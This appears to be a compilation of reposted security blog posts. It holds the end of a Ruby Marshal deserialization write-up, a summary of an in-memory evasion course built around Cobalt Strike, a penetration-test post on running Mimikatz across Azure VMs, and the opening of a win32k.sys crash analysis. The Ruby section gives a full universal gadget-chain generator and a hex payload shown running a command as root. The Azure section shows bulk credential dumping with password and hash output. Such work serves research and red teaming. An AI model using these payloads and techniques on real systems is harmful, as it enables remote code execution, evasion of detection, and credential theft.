<span class="n">stub_specification</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">StubSpecification</span><span class="p">.</span><span class="nf">new</span>
<span class="n">stub_specification</span><span class="p">.</span><span class="nf">instance_variable_set</span><span class="p">(</span><span class="ss">:@loaded_from</span><span class="p">,</span> <span class="s2">"|id 1&gt;&amp;2"</span><span class="p">)</span>

<span class="nb">puts</span> <span class="s2">"STEP n"</span>
<span class="n">stub_specification</span><span class="p">.</span><span class="nf">name</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>


<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span>
  <span class="k">def</span> <span class="nf">initialize</span><span class="p">;</span> <span class="k">end</span>
<span class="k">end</span>

<span class="n">specific_file</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span><span class="p">.</span><span class="nf">new</span>
<span class="n">specific_file</span><span class="p">.</span><span class="nf">instance_variable_set</span><span class="p">(</span><span class="ss">:@spec</span><span class="p">,</span> <span class="n">stub_specification</span><span class="p">)</span>

<span class="n">other_specific_file</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span><span class="p">.</span><span class="nf">new</span>

<span class="nb">puts</span> <span class="s2">"STEP n-1"</span>
<span class="n">specific_file</span> <span class="o">&lt;=&gt;</span> <span class="n">other_specific_file</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>


<span class="vg">$dependency_list</span><span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">DependencyList</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$dependency_list</span><span class="p">.</span><span class="nf">instance_variable_set</span><span class="p">(</span><span class="ss">:@specs</span><span class="p">,</span> <span class="p">[</span><span class="n">specific_file</span><span class="p">,</span> <span class="n">other_specific_file</span><span class="p">])</span>

<span class="nb">puts</span> <span class="s2">"STEP n-2"</span>
<span class="vg">$dependency_list</span><span class="p">.</span><span class="nf">each</span><span class="p">{}</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>


<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Requirement</span>
  <span class="k">def</span> <span class="nf">marshal_dump</span>
    <span class="p">[</span><span class="vg">$dependency_list</span><span class="p">]</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="n">payload</span> <span class="o">=</span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="no">Gem</span><span class="o">::</span><span class="no">Requirement</span><span class="p">.</span><span class="nf">new</span><span class="p">)</span>

<span class="nb">puts</span> <span class="s2">"STEP n-3"</span>
<span class="no">Marshal</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="k">rescue</span> <span class="kp">nil</span>
<span class="nb">puts</span>


<span class="nb">puts</span> <span class="s2">"VALIDATION (in fresh ruby process):"</span>
<span class="no">IO</span><span class="p">.</span><span class="nf">popen</span><span class="p">(</span><span class="s2">"ruby -e 'Marshal.load(STDIN.read) rescue nil'"</span><span class="p">,</span> <span class="s2">"r+"</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">pipe</span><span class="o">|</span>
  <span class="n">pipe</span><span class="p">.</span><span class="nf">print</span> <span class="n">payload</span>
  <span class="n">pipe</span><span class="p">.</span><span class="nf">close_write</span>
  <span class="nb">puts</span> <span class="n">pipe</span><span class="p">.</span><span class="nf">gets</span>
  <span class="nb">puts</span>
<span class="k">end</span>

<span class="nb">puts</span> <span class="s2">"Payload (hex):"</span>
<span class="nb">puts</span> <span class="n">payload</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="nb">puts</span>


<span class="nb">require</span> <span class="s2">"base64"</span>
<span class="nb">puts</span> <span class="s2">"Payload (Base64 encoded):"</span>
<span class="nb">puts</span> <span class="no">Base64</span><span class="p">.</span><span class="nf">encode64</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

The following Bash one-liner verifies the payload successfully executes against an empty Ruby process, showing versions 2.0 to 2.5 are affected:

Figure-21: Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5

<span class="gp">$</span> <span class="k">for </span>i <span class="k">in</span> <span class="o">{</span>0..5<span class="o">}</span><span class="p">;</span> <span class="k">do </span>docker run <span class="nt">-it</span> ruby:2.<span class="k">${</span><span class="nv">i</span><span class="k">}</span> ruby <span class="nt">-e</span> <span class="s1">'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'</span><span class="p">;</span> <span class="k">done</span>
<span class="go">uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)</span>

CONCLUSION

This post has explored and released a universal gadget chain that achieves command execution in Ruby versions 2.0 to 2.5.

As this post has illustrated, intricate knowldge of the Ruby standard library is incredibly useful in constructing deserialization gadget chains. There is a lot of opportunity for future work including having the technique cover Ruby versions 1.8 and 1.9 as well as covering instances where the Ruby process is invoked with the command line argument 

--disable-all

. Alternate Ruby implementations such as JRuby and Rubinius could also be investigated.

There has been some research into Fuzzing Ruby C extensions and Breaking Ruby’s Unmarshal with AFL-Fuzz. After finishing this investigation there appears to be ample opportunity for further research, including manual code review, of the native code implementations of the 

marshal_load

 methods shown below:

Figure-22: Instances of marshal_load implemented in C

<span class="gp">complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);</span>
<span class="gp">iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);</span>
<span class="gp">random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);</span>
<span class="gp">rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);</span>
<span class="gp">time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);</span>
<span class="gp">ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);</span>
<span class="gp">ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);</span>

 

In-Memory Evasion

( Original text by Raphael Mudge )

Many analysts and automated solutions take advantage of various memory detections to find injected DLLs in memory. Memory detections look at the properties (and content) of processes, threads, and memory to find indicators of malicious activity in the current process.

In-memory Evasion is a four-part mini course on the cat and mouse game related to memory detections. This course is for red teams that want to update their tradecraft in this area. It’s also for blue teams that want to understand the red perspective on these techniques. Why do they work in some situations? How is it possible to work around these heuristics in other cases?

Part 1 of In-memory Evasion introduces Memory Detections. This lecture walks through the observable properties of Processes, Threads, and Memory with Process Hacker. Common heuristics, the in-memory indicators we want to evade, are covered too.

Part 2 of In-memory Evasion goes through A Payload’s Life. This lecture discusses the heuristics in Part 1 and where they interact with actions taken by a representative offense platform (in this case, Cobalt Strike). This lecture makes the case that offense toolsets do strange things, but in some cases, these deviations from normal program behavior are optional.

Part 3 of this course discusses Evasion. General tips to avoid the strange behavior these detections find are discussed. This lecture then gets into the meat: options to configure how Cobalt Strike’s Beacon payload lives in memory are explained and demonstrated. This lecture also shows how to conduct an OPSEC review of your configuration prior to action on a target. Finally, this lecture concludes with a discussion on process context and how it influences the amount of suspect actions/indicators an automated solution will allow.

Part 4 concludes the course with a brief discussion of Threat Emulation. Cobalt Strike’s flexibility in this area is demonstrated to steer an analyst to believe they’re dealing with a specific real-world actor in a simulated incident.

Part 5 is an April 2018 addendum to this course. This video covers the memory-related threat emulation and evasion features in Cobalt Strike 3.11.

I’m a big believer that red teams should know the defenses they work with and know how their tools interact with these defenses. The area of memory detections has developed considerably over the past several years. Whether you’re on the red or blue side, I hope you find this perspective helpful.

Running PowerShell on Azure VMs at Scale

( Original text by Karl Fosaaen )

Let’s assume that you’re on a penetration test, where the Azure infrastructure is in scope (as it should be), and you have access to a domain account that happens to have “Contributor” rights on an Azure subscription. Contributor rights are typically harder to get, but we do see them frequently given out to developers, and if you’re lucky, an overly friendly admin may have added the domain users group as contributors for a subscription. Alternatively, we can assume that we started with a lesser privileged user and escalated up to the contributor account.

At this point, we could try to gather available credentialsdump configuration data, and attempt to further our access into other accounts (Owners/Domain Admins) in the subscription. For the purpose of this post, let’s assume that we’ve exhausted the read-only options and we’re still stuck with a somewhat privileged user that doesn’t allow us to pivot to other subscriptions (or the internal domain). At this point we may want to go after the virtual machines.

Attacking VMs

When attacking VMs, we could do some impactful testing and start pulling down snapshots of VHD files, but that’s noisy and nobody wants to download 100+ GB disk images. Since we like to tread lightly and work with the tools we have, let’s try for command execution on the VMs. In this example environment, let’s assume that none of the VMs are publicly exposed and you don’t want to open any firewall ports to allow for RDP or other remote management protocols.

Even without remote management protocols, there’s a couple of different ways that we can accomplish code execution in this Azure environment. You could run commands on Azure VMs using Azure Automation, but for this post we will be focusing on the Invoke-AzureRmVMRunCommand function (part of the AzureRM module).

This handy command will allow anyone with “Contributor” rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System. That’s right… VM command execution as System.

Running Individual Commands

You will want to run this command from an AzureRM session in PowerShell, that is authenticated with a Contributor account. You can authenticate to Azure with the Login-AzureRmAccount command.


Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

Let’s breakdown the parameters:

  • ResourceGroupName – The Resource Group for the VM
  • VMName – The name of the VM
  • CommandId – The stored type of command to run through Azure.
    • “RunPowerShellScript” allows us to upload and run a PowerShell script, and we will just be using that CommandId for this blog.
  • ScriptPath – This is the path to your PowerShell PS1 file that you want to run

You can get both the VMName and ResourceGroupName by using the Get-AzureRmVM command. To make it easier for filtering, use this command:


<span class="hljs-symbol">PS</span> <span class="hljs-symbol">C</span>:\&gt; <span class="hljs-keyword">Get</span>-<span class="hljs-symbol">AzureRmVM</span> -<span class="hljs-keyword">status</span> | <span class="hljs-keyword">where</span> {$<span class="hljs-symbol">_</span>.<span class="hljs-symbol">PowerState</span> -<span class="hljs-symbol">EQ</span> <span class="hljs-symbol">"VM running"</span>} | <span class="hljs-keyword">select</span> <span class="hljs-symbol">ResourceGroupName</span>,<span class="hljs-symbol">Name</span>

<span class="hljs-symbol">ResourceGroupName</span>    <span class="hljs-symbol">Name</span>      
<span class="hljs-comment">-----------------    ----       </span>
<span class="hljs-symbol">TESTRESOURCES</span>        <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">Test</span>

In this example, we’ve added an extra line (Invoke-Mimikatz) to the end of the Invoke-Mimikatz.ps1 file to run the function after it’s been imported. Here is a sample run of the Invoke-Mimikatz.ps1 script on the VM (where no real accounts were logged in, ).


<span class="hljs-symbol">PS</span> <span class="hljs-symbol">C</span>:\&gt; <span class="hljs-symbol">Invoke</span>-<span class="hljs-symbol">AzureRmVMRunCommand</span> -<span class="hljs-symbol">ResourceGroupName</span> <span class="hljs-symbol">TESTRESOURCES</span> -<span class="hljs-symbol">VMName</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">Test</span> -<span class="hljs-symbol">CommandId</span> <span class="hljs-symbol">RunPowerShellScript</span> -<span class="hljs-symbol">ScriptPath</span> <span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span>
<span class="hljs-keyword">Value</span><span class="hljs-symbol">[0]</span>        :
  <span class="hljs-symbol">Code</span>          : <span class="hljs-symbol">ComponentStatus</span>/<span class="hljs-symbol">StdOut</span>/<span class="hljs-symbol">succeeded</span>
  <span class="hljs-keyword">Level</span>         : <span class="hljs-symbol">Info</span>
  <span class="hljs-symbol">DisplayStatus</span> : <span class="hljs-symbol">Provisioning</span> <span class="hljs-symbol">succeeded</span>
  <span class="hljs-keyword">Message</span>       :   .<span class="hljs-symbol">#####</span>.   <span class="hljs-symbol">mimikatz</span> <span class="hljs-number">2.0</span> <span class="hljs-symbol">alpha</span> (<span class="hljs-symbol">x64</span>) <span class="hljs-symbol">release</span> <span class="hljs-symbol">"Kiwi en C"</span> (<span class="hljs-symbol">Feb</span> <span class="hljs-number">16</span> <span class="hljs-number">2015</span> <span class="hljs-number">22</span>:<span class="hljs-number">15</span>:<span class="hljs-number">28</span>) .<span class="hljs-symbol">##</span> ^ <span class="hljs-symbol">##</span>.  
 <span class="hljs-symbol">##</span> / \ <span class="hljs-symbol">##</span>  <span class="hljs-comment">/* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */</span>
 
<span class="hljs-symbol">mimikatz</span>(<span class="hljs-symbol">powershell</span>) <span class="hljs-symbol">#</span> <span class="hljs-symbol">sekurlsa</span>::<span class="hljs-symbol">logonpasswords</span>
 
<span class="hljs-symbol">Authentication</span> <span class="hljs-symbol">Id</span> : <span class="hljs-number">0</span> ; <span class="hljs-number">996</span> (<span class="hljs-number">00000000</span>:<span class="hljs-number">000003e4</span>)
<span class="hljs-keyword">Session</span>           : <span class="hljs-keyword">Service</span> <span class="hljs-keyword">from</span> <span class="hljs-number">0</span>
<span class="hljs-keyword">User</span> <span class="hljs-symbol">Name</span>         : <span class="hljs-symbol">NetSPI</span>-<span class="hljs-symbol">Test</span>
<span class="hljs-symbol">Domain</span>            : <span class="hljs-symbol">WORKGROUP</span>
<span class="hljs-symbol">SID</span>               : <span class="hljs-symbol">S</span><span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-20</span>        
        <span class="hljs-symbol">msv</span> :
         <span class="hljs-symbol">[00000003]</span> <span class="hljs-keyword">Primary</span>
         * <span class="hljs-symbol">Username</span> : <span class="hljs-symbol">NetSPI</span>-<span class="hljs-symbol">Test</span>
         * <span class="hljs-symbol">Domain</span>   : <span class="hljs-symbol">WORKGROUP</span>
         * <span class="hljs-symbol">LM</span>       : <span class="hljs-symbol">d0e9aee149655a6075e4540af1f22d3b</span>
         * <span class="hljs-symbol">NTLM</span>     : <span class="hljs-symbol">cc36cf7a8514893efccd332446158b1a</span>
         * <span class="hljs-symbol">SHA1</span>     : <span class="hljs-symbol">a299912f3dc7cf0023aef8e4361abfc03e9a8c30</span>
        <span class="hljs-symbol">tspkg</span> :
         * <span class="hljs-symbol">Username</span> : <span class="hljs-symbol">NetSPI</span>-<span class="hljs-symbol">Test</span>
         * <span class="hljs-symbol">Domain</span>   : <span class="hljs-symbol">WORKGROUP</span>
         * <span class="hljs-keyword">Password</span> : <span class="hljs-symbol">waza1234</span>/
<span class="hljs-symbol">mimikatz</span>(<span class="hljs-symbol">powershell</span>) <span class="hljs-symbol">#</span> <span class="hljs-keyword">exit</span>
<span class="hljs-symbol">Bye</span>!  
<span class="hljs-keyword">Value</span><span class="hljs-symbol">[1]</span> : <span class="hljs-symbol">Code</span> : <span class="hljs-symbol">ComponentStatus</span>/<span class="hljs-symbol">StdErr</span>/<span class="hljs-symbol">succeeded</span>
<span class="hljs-keyword">Level</span> : <span class="hljs-symbol">Info</span>
<span class="hljs-symbol">DisplayStatus</span> : <span class="hljs-symbol">Provisioning</span> <span class="hljs-symbol">succeeded</span>
<span class="hljs-keyword">Message</span> :
<span class="hljs-keyword">Status</span> : <span class="hljs-symbol">Succeeded</span>
<span class="hljs-symbol">Capacity</span> : <span class="hljs-number">0</span>
<span class="hljs-built_in">Count</span> : <span class="hljs-number">0</span>

This is handy for running your favorite PS scripts on a couple of VMs (one at a time), but what if we want to scale this to an entire subscription?

Running Multiple Commands

I’ve added the Invoke-AzureRmVMBulkCMD function to MicroBurst to allow for execution of scripts against multiple VMs in a subscription. With this function, we can run commands against an entire subscription, a specific Resource Group, or just a list of individual hosts.

You can find MicroBurst here – https://github.com/NetSPI/MicroBurst

For our demo, we’ll run Mimikatz against all (5) of the VMs in my test subscription and write the output from the script to a log file.


Import-<span class="hljs-class"><span class="hljs-keyword">module</span> <span class="hljs-title">MicroBurst</span>.<span class="hljs-title">psm1</span></span>
<span class="hljs-symbol">Invoke</span>-<span class="hljs-symbol">AzureRmVMBulkCMD</span> -<span class="hljs-symbol">Script</span> <span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> -<span class="hljs-symbol">Verbose</span> -<span class="hljs-keyword">output</span> <span class="hljs-keyword">Output</span>.<span class="hljs-symbol">txt</span>
<span class="hljs-symbol">Executing</span> <span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> <span class="hljs-symbol">against</span> <span class="hljs-literal">all</span> (<span class="hljs-number">5</span>) <span class="hljs-symbol">VMs</span> <span class="hljs-literal">in</span> <span class="hljs-symbol">the</span> <span class="hljs-symbol">TestingResources</span> <span class="hljs-symbol">Subscription</span>
<span class="hljs-symbol">Are</span> <span class="hljs-symbol">you</span> <span class="hljs-symbol">Sure</span> <span class="hljs-symbol">You</span> <span class="hljs-symbol">Want</span> <span class="hljs-keyword">To</span> <span class="hljs-symbol">Proceed</span>: (<span class="hljs-symbol">Y</span>/<span class="hljs-symbol">n</span>):
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Running</span> .\<span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> <span class="hljs-keyword">on</span> <span class="hljs-symbol">the</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">EastUS2</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.10</span><span class="hljs-number">.4</span> : <span class="hljs-number">52.179</span><span class="hljs-number">.214</span><span class="hljs-number">.3</span>) <span class="hljs-symbol">virtual</span> <span class="hljs-symbol">machine</span> (<span class="hljs-number">1</span> <span class="hljs-keyword">of</span> <span class="hljs-number">5</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">Status</span>: <span class="hljs-symbol">Succeeded</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">output</span> <span class="hljs-symbol">written</span> <span class="hljs-keyword">to</span> <span class="hljs-keyword">Output</span>.<span class="hljs-symbol">txt</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-keyword">on</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">EastUS2</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.10</span><span class="hljs-number">.4</span> : <span class="hljs-number">52.179</span><span class="hljs-number">.214</span><span class="hljs-number">.3</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-literal">in</span> <span class="hljs-number">99</span> <span class="hljs-symbol">seconds</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Running</span> .\<span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> <span class="hljs-keyword">on</span> <span class="hljs-symbol">the</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">EAsia</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.9</span><span class="hljs-number">.4</span> : <span class="hljs-number">65.52</span><span class="hljs-number">.161</span><span class="hljs-number">.96</span>) <span class="hljs-symbol">virtual</span> <span class="hljs-symbol">machine</span> (<span class="hljs-number">2</span> <span class="hljs-keyword">of</span> <span class="hljs-number">5</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">Status</span>: <span class="hljs-symbol">Succeeded</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">output</span> <span class="hljs-symbol">written</span> <span class="hljs-keyword">to</span> <span class="hljs-keyword">Output</span>.<span class="hljs-symbol">txt</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-keyword">on</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">EAsia</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.9</span><span class="hljs-number">.4</span> : <span class="hljs-number">65.52</span><span class="hljs-number">.161</span><span class="hljs-number">.96</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-literal">in</span> <span class="hljs-number">99</span> <span class="hljs-symbol">seconds</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Running</span> .\<span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> <span class="hljs-keyword">on</span> <span class="hljs-symbol">the</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">JapanE</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.12</span><span class="hljs-number">.4</span> : <span class="hljs-number">13.78</span><span class="hljs-number">.40</span><span class="hljs-number">.185</span>) <span class="hljs-symbol">virtual</span> <span class="hljs-symbol">machine</span> (<span class="hljs-number">3</span> <span class="hljs-keyword">of</span> <span class="hljs-number">5</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">Status</span>: <span class="hljs-symbol">Succeeded</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">output</span> <span class="hljs-symbol">written</span> <span class="hljs-keyword">to</span> <span class="hljs-keyword">Output</span>.<span class="hljs-symbol">txt</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-keyword">on</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">JapanE</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.12</span><span class="hljs-number">.4</span> : <span class="hljs-number">13.78</span><span class="hljs-number">.40</span><span class="hljs-number">.185</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-literal">in</span> <span class="hljs-number">69</span> <span class="hljs-symbol">seconds</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Running</span> .\<span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> <span class="hljs-keyword">on</span> <span class="hljs-symbol">the</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">JapanW</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.13</span><span class="hljs-number">.4</span> : <span class="hljs-number">40.74</span><span class="hljs-number">.66</span><span class="hljs-number">.153</span>) <span class="hljs-symbol">virtual</span> <span class="hljs-symbol">machine</span> (<span class="hljs-number">4</span> <span class="hljs-keyword">of</span> <span class="hljs-number">5</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">Status</span>: <span class="hljs-symbol">Succeeded</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">output</span> <span class="hljs-symbol">written</span> <span class="hljs-keyword">to</span> <span class="hljs-keyword">Output</span>.<span class="hljs-symbol">txt</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-keyword">on</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">JapanW</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.13</span><span class="hljs-number">.4</span> : <span class="hljs-number">40.74</span><span class="hljs-number">.66</span><span class="hljs-number">.153</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-literal">in</span> <span class="hljs-number">69</span> <span class="hljs-symbol">seconds</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Running</span> .\<span class="hljs-symbol">Mimikatz</span>.<span class="hljs-symbol">ps1</span> <span class="hljs-keyword">on</span> <span class="hljs-symbol">the</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">France</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.11</span><span class="hljs-number">.4</span> : <span class="hljs-number">40.89</span><span class="hljs-number">.130</span><span class="hljs-number">.206</span>) <span class="hljs-symbol">virtual</span> <span class="hljs-symbol">machine</span> (<span class="hljs-number">5</span> <span class="hljs-keyword">of</span> <span class="hljs-number">5</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">Status</span>: <span class="hljs-symbol">Succeeded</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-keyword">output</span> <span class="hljs-symbol">written</span> <span class="hljs-keyword">to</span> <span class="hljs-keyword">Output</span>.<span class="hljs-symbol">txt</span>
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-keyword">on</span> <span class="hljs-keyword">Remote</span>-<span class="hljs-symbol">France</span> - (<span class="hljs-number">10.2</span><span class="hljs-number">.11</span><span class="hljs-number">.4</span> : <span class="hljs-number">40.89</span><span class="hljs-number">.130</span><span class="hljs-number">.206</span>)
<span class="hljs-symbol">VERBOSE</span>: <span class="hljs-symbol">Script</span> <span class="hljs-symbol">Execution</span> <span class="hljs-symbol">Completed</span> <span class="hljs-literal">in</span> <span class="hljs-number">98</span> <span class="hljs-symbol">seconds</span>

The GIF above has been sped up for demo purposes, but the total time to run Mimikatz on the 5 VMs in this subscription was 7 Minutes and 14 seconds. It’s not ideal (see below), but it’s functional. I haven’t taken the time to multi-thread this yet, but if anyone would like to help, feel free to send in a pull request here.

Other Ideas

For the purposes of this demo, we just ran Mimikatz on all of the VMs. That’s nice, but it may not always be your best choice. Additional PowerShell options that you may want to consider:

  • Spawning Cobalt Strike, Empire, or Metasploit sessions
  • Searching for Sensitive Files
  • Run domain information gathering scripts on one VM and use the output to target other specific VMs for code execution

Performance Issues

As a friendly reminder, this was all done in a demo environment. If you choose to make use of this in the real world, keep this in mind: Not all Azure regions or VM images will respond the same way. I have found that some regions and VMs are better suited for running these commands. I have run into issues (stalling, failing to execute) with non-US Azure regions and the usage of these commands.

Your mileage may vary, but for the most part, I have had luck with the US regions and standard Windows Server 2012 images. In my testing, the Invoke-Mimikatz.ps1 script would usually take around 30-60 seconds to run. Keep in mind that the script has to be uploaded to the VM for each round of execution, and some of your VMs may be underpowered.

Mitigations and Detection

For the defenders that are reading this, please be careful with your Owner and Contributor rights. If you have one take away from the post, let it be this – Contributor rights means SYSTEM rights on all the VMs.

If you want to cut down your contributor’s rights to execute these commands, create a new role for your contributors and limit the Microsoft.Compute/virtualMachines/runCommand/action permissions for your users.

Additionally, if you want to detect this, keep an eye out for the “Run Command on Virtual Machine” log entries. It’s easy to set up alerts for this, and unless the Invoke-AzureRmVMRunCommand is an integral part of your VM management process, it should be easy to detect when someone is using this command.

The following alert logic will let you know when anyone tries to use this command (Success or Failure). You can also extend the scope of this alert to All VMs in a subscription.

As always, if you have any issues, comments, or improvements for this script, feel free to reach out via the MicroBurst Github page.

Microsoft Windows win32k.sys — Invalid Pointer Vulnerability (MSRC Case 48212)

( Original text by Nafiez )

Overview

There’s a kernel unhandled exception happened in GDI function NtUserGetDCEx and turn the OS to BSOD during boot-time. To trigger the issue it is required to have Administrator privilege to create AppInit_DLL registry key and a simple DLL that can pop a message box. In this case, we installed Anti-Virus called BullGuard (https://www.bullguard.com) in Windows 7 64-bit system with the registry AppInit_DLL and its DLL created. After installation, upon winlogon.exe taking place, a BSOD happened. We suspect the DLL mapped itself to winlogon.exe and this making the Windows itself prone to failed to dereference pointer in kernel thus making it BSOD. We believe this happened when BullGuard AV itself is vulnerable to AppInit_DLL technique and allowed to load the DLL during process start at winlogon.exe. It seems win32k.sys driver lacked of pointer checking during boot-time process.

The issue has been reported to Microsoft (MSRC Case 48212) and the confirmed the finding are valid. Howevever the issue does not meet their service bar (which is required Administrator privilege to perform changes on the registry).

It turns out that not only me to found the issue, omeg posted in OpenRCE forum regarding his finding too (http://www.openrce.org/blog/view/966/Null_pointer_dereference_in_win32k).

Crash Analysis

Initial analysis found the root cause was coming from win32k!NtUserGetDCEx+b7.


BugCheck 3B, {c0000005, fffff9600016126f, fffff880045ceae0, 0}

*** WARNING: Unable to verify checksum for pwned.dll
*** ERROR: Module load completed but symbols could not be loaded for pwned.dll
Probably caused by : win32k.sys ( win32k!NtUserGetDCEx+b7 )

...

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.



kd&gt; r
Last set context:
